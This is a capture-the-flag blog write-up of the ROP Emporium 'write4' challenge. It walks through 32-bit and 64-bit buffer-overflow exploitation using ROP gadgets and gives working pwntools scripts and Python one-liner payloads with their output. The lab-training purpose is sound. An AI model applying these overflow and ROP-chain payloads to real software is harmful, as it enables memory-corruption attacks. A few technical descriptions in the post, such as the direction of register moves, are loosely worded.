Acfirth

ROP Emporium - Challenge 4: write4

by acfirth

Date: 24 June 2025
Categories: BinaryExploitation, ROPEmporium

Contents

Introduction

ROP Emporium is a fantastic website containing Binary Exploitation challenges that focus on Return Oriented Programming (ROP) and building ROP Chains to exploit the binaries.

The challenges are offered in x86 (32-bit), x86-64 (64-bit), ARMv5 and MIPS. I have been able to complete all of the 32-bit and 64-bit challenges, and I will be presenting my solutions and the exploitation path I followed to reach my solution.

In this post, I will be focussing on the second challenge: write4.

Challenge Brief

“Our first foray into proper gadget use. A useful function is still present, but we’ll need to write a string into memory somehow.”

“On completing our usual checks for interesting strings and symbols in this binary we’re confronted with the stark truth that our favourite string “/bin/cat flag.txt” is not present this time. Although you’ll see later that there are other ways around this problem, such as resolving dynamically loaded libraries and using the strings present in those, we’ll stick to the challenge goal which is learning how to get data into the target process’s virtual address space via the magic of ROP.”

Exploitation Path

For both binary architectures, I am going to follow the same steps that I took in the previous challenges:

x86 (32-bit) Binary Exploitation

Step 1: Understanding the Protections on the Binary

[*] './write432'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    RUNPATH:    b'.'
    Stripped:   No

The output from checksec shows me that, in this binary, there is no canary in being used which is good for me as it makes Buffer Overflows much easier to exploit. The NX (No Execute) is enabled meaning I cannot drop shellcode directly onto the stack and jump to it. PIE (Position Independant Executable) is not enabled, meaning memory addresses should stay the same every time the binary is run (ignoring ASLR). Finally, the binary is not stripped which makes disassembling the binary much simpler.

Step 2: Disassembling the Binary

$ objdump -d ./write432

08048506 <main>:
 8048506:       8d 4c 24 04             lea    0x4(%esp),%ecx
 804850a:       83 e4 f0                and    $0xfffffff0,%esp
 804850d:       ff 71 fc                push   -0x4(%ecx)
 8048510:       55                      push   %ebp
 8048511:       89 e5                   mov    %esp,%ebp
 8048513:       51                      push   %ecx
 8048514:       83 ec 04                sub    $0x4,%esp
 8048517:       e8 94 fe ff ff          call   80483b0 <pwnme@plt>
 804851c:       b8 00 00 00 00          mov    $0x0,%eax
 8048521:       83 c4 04                add    $0x4,%esp
 8048524:       59                      pop    %ecx
 8048525:       5d                      pop    %ebp
 8048526:       8d 61 fc                lea    -0x4(%ecx),%esp
 8048529:       c3                      ret

0804852a <usefulFunction>:
 804852a:       55                      push   %ebp
 804852b:       89 e5                   mov    %esp,%ebp
 804852d:       83 ec 08                sub    $0x8,%esp
 8048530:       83 ec 0c                sub    $0xc,%esp
 8048533:       68 d0 85 04 08          push   $0x80485d0
 8048538:       e8 93 fe ff ff          call   80483d0 <print_file@plt>
 804853d:       83 c4 10                add    $0x10,%esp
 8048540:       90                      nop
 8048541:       c9                      leave
 8048542:       c3                      ret

08048543 <usefulGadgets>:
 8048543:       89 2f                   mov    %ebp,(%edi)
 8048545:       c3                      ret
 8048546:       66 90                   xchg   %ax,%ax
 8048548:       66 90                   xchg   %ax,%ax
 804854a:       66 90                   xchg   %ax,%ax
 804854c:       66 90                   xchg   %ax,%ax
 804854e:       66 90                   xchg   %ax,%ax

From this, I saw that the main() function calls the pwnme() function, as it does in the previous challenges. There is also a function named usefulFunction() which calls the print_file() function. It’s important to note that these function calls are here to populate the PLT values for these functions, as the pwnme() and print_file() function have been moved to an included library (Shared Object).

I know that for this challenge, I need to call the print_file() function and pass it a single argument, being the pointer to a string of the file I want to read.

Dump of assembler code for function print_file:
   0xf7fbc74f <+0>:     push   ebp
   0xf7fbc750 <+1>:     mov    ebp,esp
   0xf7fbc752 <+3>:     push   ebx
   0xf7fbc753 <+4>:     sub    esp,0x34
   0xf7fbc756 <+7>:     call   0xf7fbc5a0 <__x86.get_pc_thunk.bx>
   0xf7fbc75b <+12>:    add    ebx,0x18a5
   0xf7fbc761 <+18>:    mov    DWORD PTR [ebp-0xc],0x0
   0xf7fbc768 <+25>:    sub    esp,0x8
   0xf7fbc76b <+28>:    lea    eax,[ebx-0x17b5]
   0xf7fbc771 <+34>:    push   eax
   0xf7fbc772 <+35>:    push   DWORD PTR [ebp+0x8]
   0xf7fbc775 <+38>:    call   0xf7fbc570 <fopen@plt>
   0xf7fbc77a <+43>:    add    esp,0x10
   0xf7fbc77d <+46>:    mov    DWORD PTR [ebp-0xc],eax
   0xf7fbc780 <+49>:    cmp    DWORD PTR [ebp-0xc],0x0
   0xf7fbc784 <+53>:    jne    0xf7fbc7a5 <print_file+86>
   0xf7fbc786 <+55>:    sub    esp,0x8
   0xf7fbc789 <+58>:    push   DWORD PTR [ebp+0x8]
   0xf7fbc78c <+61>:    lea    eax,[ebx-0x17b3]
   0xf7fbc792 <+67>:    push   eax
   0xf7fbc793 <+68>:    call   0xf7fbc510 <printf@plt>
   0xf7fbc798 <+73>:    add    esp,0x10
   0xf7fbc79b <+76>:    sub    esp,0xc
   0xf7fbc79e <+79>:    push   0x1
   0xf7fbc7a0 <+81>:    call   0xf7fbc550 <exit@plt>
   0xf7fbc7a5 <+86>:    sub    esp,0x4
   0xf7fbc7a8 <+89>:    push   DWORD PTR [ebp-0xc]
   0xf7fbc7ab <+92>:    push   0x21
   0xf7fbc7ad <+94>:    lea    eax,[ebp-0x2d]
   0xf7fbc7b0 <+97>:    push   eax
   0xf7fbc7b1 <+98>:    call   0xf7fbc520 <fgets@plt>
   0xf7fbc7b6 <+103>:   add    esp,0x10
   0xf7fbc7b9 <+106>:   sub    esp,0xc
   0xf7fbc7bc <+109>:   lea    eax,[ebp-0x2d]
   0xf7fbc7bf <+112>:   push   eax
   0xf7fbc7c0 <+113>:   call   0xf7fbc540 <puts@plt>
   0xf7fbc7c5 <+118>:   add    esp,0x10
   0xf7fbc7c8 <+121>:   sub    esp,0xc
   0xf7fbc7cb <+124>:   push   DWORD PTR [ebp-0xc]
   0xf7fbc7ce <+127>:   call   0xf7fbc530 <fclose@plt>
   0xf7fbc7d3 <+132>:   add    esp,0x10
   0xf7fbc7d6 <+135>:   mov    DWORD PTR [ebp-0xc],0x0
   0xf7fbc7dd <+142>:   nop
   0xf7fbc7de <+143>:   mov    ebx,DWORD PTR [ebp-0x4]
   0xf7fbc7e1 <+146>:   leave
   0xf7fbc7e2 <+147>:   ret

The file I want to read is named “flag.txt”, but I need to find where I can write that string to. For this task, I used readelf -S ./write432:

[Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
[---SNIPPED---]
[24] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4
[25] .bss              NOBITS          0804a020 001020 000004 00  WA  0   0  1
[26] .comment          PROGBITS        00000000 001020 000029 01  MS  0   0  1
[---SNIPPED---]

This showed me that the .data section of the binary has the “W” flag set, which means it is writable. Furthermore, it has 8 bytes of writable space which conveniently lines up with the size of the string “flag.txt”, which is also 8 bytes.

Finally, there is a usefulGadgets() function might just contain some gadgets that I can use when building the ROP Chain to exploit this binary.

Step 3: Finding the Offset

I used GDB-GEF and the pattern create and pattern offset commands to find the offset before I overwrite the EIP register.

GDB-GEF Overwritten EIP

The output from GDB-GEF after the bianry crashed, told me that the EIP register had been overwritten with the value 0x6161616c. Then, using pattern offset 0x6161616c, it calculated that the offset before I overwrite the EIP is 44 bytes.

Step 4: Locating Important Addresses and Gadgets

So, to cover what I know I need to exploit this binary:

The address of the print_file() function can be located using pwntools by referencing the PLT.

Running this command will print the PLT entry of the print_file() function:

python3 -c 'from pwn import *; binary = ELF("./write432"); print(hex(binary.plt["print_file"]))'

Address of the print_file() Function: 0x80483d0

As for the address of the .data section in the binary, the readelf command already told me the address (Refer to: Disassembling the Binary).

Address of the .data Section: 0x0804a018

After gathering the important addresses I needed during exploitation, I moved onto locating the gadgets I could use. Again, I need a gadget to move a value from one register to another. To locate the gadget, I used ropper, specifially searching for mov gadgets.

$ ropper -f ./write432 --search "mov"

[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: mov

[INFO] File: ./write432
0x080484e7: mov al, byte ptr [0xc9010804]; ret; 
0x0804846d: mov al, byte ptr [0xd0ff0804]; add esp, 0x10; leave; ret; 
0x080484ba: mov al, byte ptr [0xd2ff0804]; add esp, 0x10; leave; ret; 
0x080484e4: mov byte ptr [0x804a020], 1; leave; ret; 
0x08048543: mov dword ptr [edi], ebp; ret; 
0x080484b2: mov ebp, esp; sub esp, 0x10; push eax; push 0x804a020; call edx; 
0x08048466: mov ebp, esp; sub esp, 0x14; push 0x804a020; call eax; 
0x080484da: mov ebp, esp; sub esp, 8; call 0x450; mov byte ptr [0x804a020], 1; leave; ret; 
0x08048381: mov ebx, 0x81000000; ret; 
0x08048423: mov ebx, dword ptr [esp]; ret; 
0x0804847a: mov esp, 0x27; add bl, dh; ret;

These are all of the gadgets that ropper returned. There is one in particular that grabbed my attention, mov dword ptr [edi], ebp; ret; located at the address 0x08048543. This gadget moves a dword (4 bytes) from the EBP register to the EDI register. This means that I will have to perform two write operations to write the full 8 byte string “flag.txt”.

After finding the mov gadget, I had to locate two pop gadgets. The first to pop the EDI register, where I can place the address of the .data section into. The second gadget needed to pop the EBP register, where I could place 4 bytes of the “flag.txt” string into so it could be moved by the mov gadget.

$ ropper -f ./write432 --search "pop"

[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop

[INFO] File: ./write432
0x08048525: pop ebp; lea esp, [ecx - 4]; ret; 
0x080485ab: pop ebp; ret; 
0x080485a8: pop ebx; pop esi; pop edi; pop ebp; ret; 
0x0804839d: pop ebx; ret; 
0x08048524: pop ecx; pop ebp; lea esp, [ecx - 4]; ret; 
0x080485aa: pop edi; pop ebp; ret; 
0x080485a9: pop esi; pop edi; pop ebp; ret; 
0x08048527: popal; cld; ret;

Looking at the gadgets returned by ropper, there was a single gadget that popped both the EDI and EBP in a single gadget, pop edi; pop ebp; ret; located at the address 0x080485aa. This was perfect for the exploit.

Address of the MOV Gadget: 0x08048543

Address of the POP Gadget: 0x080485aa

Step 5: Writing the Exploit

I wrote three exploits, one using pwntools, a one-line exploit in Python2, and a one-line exploit in Python3.

The Pwntools Exploit

#!/usr/bin/env python3

from pwn import *

# Set the binary context to the local binary
context.binary = binary = ELF("./write432", checksec=False)
context.log_level = "CRITICAL"

# Get the LIBC used for the binary
libc = binary.libc

gdb_script = """
continue
"""

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(args.HOST or exit("[!] Provide a Remote IP."), int(args.PORT or exit("[!] Provide a Remote Port.")))

    elif args.GDB:
        return gdb.debug([binary.path] + argv, gdbscript=gdb_script, *a, **kw)

    else:
        return process([binary.path] + argv, *a, **kw)

offset = 44
buffer = b"A"*offset

# Address of the .data section
data_addr = 0x0804a018

# Address of the print_file() function
print_file = p32(binary.plt["print_file"]) # 0x80483d0

# Address of the POP gadget
pop_gadget = p32(0x080485aa)

# Address of the MOV gadget
mov_gadget = p32(0x08048543)

# Building the ROP chain
payload = buffer
# POP the EDI and EBP
payload += pop_gadget
# Place the address of the .data section into the EDI
payload += p32(data_addr)
# Place the first 4 bytes of "flag.txt" into the EBP
payload += b"flag"
# Move the EBP into the EDI
payload += mov_gadget
# POP the EDI and EBP again
payload += pop_gadget
# Place the address of the .data section into the EDI
# However, this time, point to the .data address + 4 bytes to not overwrite
# the existing "flag" string moved into it previously
payload += p32(data_addr + 0x4)
# Place the last 4 bytes of the "flag.txt" string into the EBP
payload += b".txt"
# Move the EBP into the EDI
payload += mov_gadget
# Call the print_file() function
payload += print_file
# Provide a 4 byte buffer between the function call and the argument
payload += b"B"*4
# Pass the address to the .data section (containing "flag.txt") as the argument
payload += p32(data_addr)

# Start connection (LOCAL, REMOTE, or GDB)
p = start()

p.sendlineafter(b"> ", payload)
p.interactive()

# Close connection
p.close()

Running the exploit script, I got the flag:

$ python3 exploit.py

Thank you!
ROPE{a_placeholder_32byte_flag!}

Python2 One-Line Exploit

python2 -c 'print_file = "\xd0\x83\x04\x08"; pop_gadget = "\xaa\x85\x04\x08"; mov_gadget = "\x43\x85\x04\x08"; print "A"*44 + pop_gadget + "\x18\xa0\x04\x08" + "flag" + mov_gadget + pop_gadget + "\x1c\xa0\x04\x08" + ".txt" + mov_gadget + print_file + "B"*4 + "\x18\xa0\x04\x08"'

Running this command and piping the output into the target binary, I got the flag:

$ python2 -c 'print_file = "\xd0\x83\x04\x08"; pop_gadget = "\xaa\x85\x04\x08"; mov_gadget = "\x43\x85\x04\x08"; print "A"*44 + pop_gadget + "\x18\xa0\x04\x08" + "flag" + mov_gadget + pop_gadget + "\x1c\xa0\x04\x08" + ".txt" + mov_gadget + print_file + "B"*4 + "\x18\xa0\x04\x08"' | ./write432

write4 by ROP Emporium
x86

Go ahead and give me the input already!

> Thank you!
ROPE{a_placeholder_32byte_flag!}

Python3 One-Line Exploit

Python3 works a bit differently, compared to Python2, when printing byte strings. It tends to break them when you are trying to do a binary exploitation challenge. To get around this, I used the sys.stdout.buffer.write() function from the sys module.

python3 -c 'import sys; print_file = b"\xd0\x83\x04\x08"; pop_gadget = b"\xaa\x85\x04\x08"; mov_gadget = b"\x43\x85\x04\x08"; sys.stdout.buffer.write(b"A"*44 + pop_gadget + b"\x18\xa0\x04\x08" + b"flag" + mov_gadget + pop_gadget + b"\x1c\xa0\x04\x08" + b".txt" + mov_gadget + print_file + b"B"*4 + b"\x18\xa0\x04\x08")'

Running this command and piping the output into the target binary, I got the flag:

$ python3 -c 'import sys; print_file = b"\xd0\x83\x04\x08"; pop_gadget = b"\xaa\x85\x04\x08"; mov_gadget = b"\x43\x85\x04\x08"; sys.stdout.buffer.write(b"A"*44 + pop_gadget + b"\x18\xa0\x04\x08" + b"flag" + mov_gadget + pop_gadget + b"\x1c\xa0\x04\x08" + b".txt" + mov_gadget + print_file + b"B"*4 + b"\x18\xa0\x04\x08")' | ./write432

write4 by ROP Emporium
x86

Go ahead and give me the input already!

> Thank you!
ROPE{a_placeholder_32byte_flag!}

x86-64 (64-bit) Binary Exploitation

The x86-64 bianry had the same protections as the x86 binary, so I skipped that step.

Step 1: Disassembling the Binary

When disassembling the binary, the functions in place were the exact same. The only thing that differed were the memory addresses. Apart from the .data section. This time, the .data section has 10 bytes of writable memory.

[Nr] Name   Type      Address           Offset    Size              EntSize           Flags
[---SNIPPED---]
[23] .data  PROGBITS  0000000000601028  00001028  0000000000000010  0000000000000000  WA
[---SNIPPED---]

Step 2: Finding the Offset

Again, for finding the offset, I used GDB-GEF, pattern create and pattern offset.

GDB-GEF RSP Overwritten

The output from GDB-GEF after the crash showed me that the RSP register now pointed too a string starting with faaaaaaagaaaaaaa. Using the command pattern offset faaaaaaagaaaaaaa, it calculated that the offset is 40 bytes.

Step 3: Locating Important Addresses and Gadgets

From the x86 binary, I know that I need to find:

However, for the x86-64 binary, when passing arguments to a function, the arguments need to be passed via a register. Specifically, RDI, RSI, and RDX (RCX, R8 and R9 are also be used, but most commonly it is the first 3 registers mentioned). As I only need to pass a single argument to the print_file() function, I needed to find a gadget that pops the RDI register.

For locating the gadgets, I used ropper again, searching for the key operators.

$ ropper -f ./write4 --search "mov" 

[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: mov

[INFO] File: ./write4
0x00000000004005e2: mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret; 
0x0000000000400606: mov dword ptr [rbp + 0x48], edx; mov ebp, esp; call 0x500; mov eax, 0; pop rbp; ret; 
0x0000000000400629: mov dword ptr [rsi], edi; ret; 
0x0000000000400610: mov eax, 0; pop rbp; ret; 
0x00000000004004d5: mov eax, dword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; 
0x00000000004004d5: mov eax, dword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; add rsp, 8; ret; 
0x0000000000400609: mov ebp, esp; call 0x500; mov eax, 0; pop rbp; ret; 
0x00000000004005db: mov ebp, esp; call 0x560; mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret; 
0x0000000000400619: mov ebp, esp; mov edi, 0x4006b4; call 0x510; nop; pop rbp; ret; 
0x000000000040061b: mov edi, 0x4006b4; call 0x510; nop; pop rbp; ret; 
0x000000000040057c: mov edi, 0x601038; jmp rax; 
0x0000000000400628: mov qword ptr [r14], r15; ret; 
0x00000000004004d4: mov rax, qword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; 
0x00000000004004d4: mov rax, qword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; add rsp, 8; ret; 
0x0000000000400608: mov rbp, rsp; call 0x500; mov eax, 0; pop rbp; ret; 
0x00000000004005da: mov rbp, rsp; call 0x560; mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret; 
0x0000000000400618: mov rbp, rsp; mov edi, 0x4006b4; call 0x510; nop; pop rbp; ret;

This time, ropper found quite a few mov gadgets. Noticably, mov dword ptr [rsi], edi; ret; and mov qword ptr [r14], r15; ret;.

The first of the two mentioned gadgets moves the value stored in the EDI register into the RSI register. x86 registers (such as EDI) can only store 4 bytes, this means that I would have to perform two write operations to write the string “flag.txt” into the .data section, as I did in the x86 binary exploitation. However, the second gadget uses only 64-bit registers which can hold a full 8 bytes. As well as using qword which is double a dword. Thinking back to the x86 binary, dword only holds 4 bytes, meaning a qword holds 8 bytes. So, I will focus on the second gadget as it would allow me to only perform a single write operation.

The gadget mov qword ptr [r14], r15; ret; uses the registers r14 and r15. This means that I needed to find two pop gadgets to pop the r14 and r15 register.

$ ropper -f ./write4 --search "pop"

[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop

[INFO] File: ./write4
0x000000000040068c: pop r12; pop r13; pop r14; pop r15; ret; 
0x000000000040068e: pop r13; pop r14; pop r15; ret; 
0x0000000000400690: pop r14; pop r15; ret; 
0x0000000000400692: pop r15; ret; 
0x000000000040057b: pop rbp; mov edi, 0x601038; jmp rax; 
0x000000000040068b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret; 
0x000000000040068f: pop rbp; pop r14; pop r15; ret; 
0x0000000000400588: pop rbp; ret; 
0x0000000000400693: pop rdi; ret; 
0x0000000000400691: pop rsi; pop r15; ret; 
0x000000000040068d: pop rsp; pop r13; pop r14; pop r15; ret;

Similarly to the x86 binary, ropper located a single gadget that pops both the r14 and r15 registers, pop r14; pop r15; ret; located at the address 0x0000000000400690.

It was also able to locate a pop rdi; ret; gadget which is needed for passing the argument to the print_file() function, located at 0x0000000000400693.

Address of the MOV Gadget: 0x0000000000400628

Address of the POP Gadget: 0x0000000000400690

Address of the POP RDI; RET Gadget: 0x0000000000400693

Step 4: Writing the Exploit

Again, I wrote 3 exploits. A pwntools exploit script, a one-line Python2 exploit, and a one-line Python3 exploit.

Key Addresses:

The Pwntools Exploit

#!/usr/bin/env python3

from pwn import *

# Set the binary context to the local binary
context.binary = binary = ELF("./write4", checksec=False)
context.log_level = "CRITICAL"

# Get the LIBC used for the binary
libc = binary.libc

gdb_script = """
continue
"""

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(args.HOST or exit("[!] Provide a Remote IP."), int(args.PORT or exit("[!] Provide a Remote Port.")))

    elif args.GDB:
        return gdb.debug([binary.path] + argv, gdbscript=gdb_script, *a, **kw)

    else:
        return process([binary.path] + argv, *a, **kw)

offset = 40
buffer = b"A"*offset

# Address of the .data section
data_addr = p64(0x0000000000601028)

# Address of the print_file() function
print_file = p64(binary.plt["print_file"])

# Address of the MOV gadget
mov_gadget = p64(0x0000000000400628)

# Address of the POP gadget
pop_gadget = p64(0x0000000000400690)

# Address of the POP RDI gadget
pop_rdi = p64(0x0000000000400693)

# Build the ROP chain
payload = buffer
# POP the registers
payload += pop_gadget
# Provide the address of the .data section
payload += data_addr
# Provide the string to write into the .data section
payload += b"flag.txt"
# Move r15 into r14
payload += mov_gadget
# POP the RDI register
payload += pop_rdi
# Provide the address of the .data section
payload += data_addr
# Call the print_file() function
payload += print_file

# Start connection (LOCAL, REMOTE, or GDB)
p = start()

p.sendlineafter(b"> ", payload)
p.interactive()

# Close connection
p.close()

Running the exploit script, I got the flag:

$ python3 exploit.py

Thank you!
ROPE{a_placeholder_32byte_flag!}

Python2 One-Line Exploit

python2 -c 'data_addr = "\x28\x10\x60\x00\x00\x00\x00\x00"; print_file = "\x10\x05\x40\x00\x00\x00\x00\x00"; mov_gadget = "\x28\x06\x40\x00\x00\x00\x00\x00"; pop_gadget = "\x90\x06\x40\x00\x00\x00\x00\x00"; pop_rdi = "\x93\x06\x40\x00\x00\x00\x00\x00"; print "A"*40 + pop_gadget + data_addr + "flag.txt" + mov_gadget + pop_rdi + data_addr + print_file'

Running the command, I got the flag:

$ python2 -c 'data_addr = "\x28\x10\x60\x00\x00\x00\x00\x00"; print_file = "\x10\x05\x40\x00\x00\x00\x00\x00"; mov_gadget = "\x28\x06\x40\x00\x00\x00\x00\x00"; pop_gadget = "\x90\x06\x40\x00\x00\x00\x00\x00"; pop_rdi = "\x93\x06\x40\x00\x00\x00\x00\x00"; print "A"*40 + pop_gadget + data_addr + "flag.txt" + mov_gadget + pop_rdi + data_addr + print_file' | ./write4

write4 by ROP Emporium
x86_64

Go ahead and give me the input already!

> Thank you!
ROPE{a_placeholder_32byte_flag!}

Python3 One-Line Exploit

Again, Python3 prints byte strings differently to Python2, so I used the sys.stdout.buffer.write() function from the sys module.

python3 -c 'import sys; data_addr = b"\x28\x10\x60\x00\x00\x00\x00\x00"; print_file = b"\x10\x05\x40\x00\x00\x00\x00\x00"; mov_gadget = b"\x28\x06\x40\x00\x00\x00\x00\x00"; pop_gadget = b"\x90\x06\x40\x00\x00\x00\x00\x00"; pop_rdi = b"\x93\x06\x40\x00\x00\x00\x00\x00"; sys.stdout.buffer.write(b"A"*40 + pop_gadget + data_addr + b"flag.txt" + mov_gadget + pop_rdi + data_addr + print_file)'

Running the command, I got the flag:

$ python3 -c 'import sys; data_addr = b"\x28\x10\x60\x00\x00\x00\x00\x00"; print_file = b"\x10\x05\x40\x00\x00\x00\x00\x00"; mov_gadget = b"\x28\x06\x40\x00\x00\x00\x00\x00"; pop_gadget = b"\x90\x06\x40\x00\x00\x00\x00\x00"; pop_rdi = b"\x93\x06\x40\x00\x00\x00\x00\x00"; sys.stdout.buffer.write(b"A"*40 + pop_gadget + data_addr + b"flag.txt" + mov_gadget + pop_rdi + data_addr + print_file)'

write4 by ROP Emporium
x86_64

Go ahead and give me the input already!

> Thank you!
ROPE{a_placeholder_32byte_flag!}

Success! Both the x86 and x86-64 challenges have been solved!


Tags: Cybersecurity - Binary Exploitation - PWN - ROP Emporium - Buffer Overflow - ROP chain - write4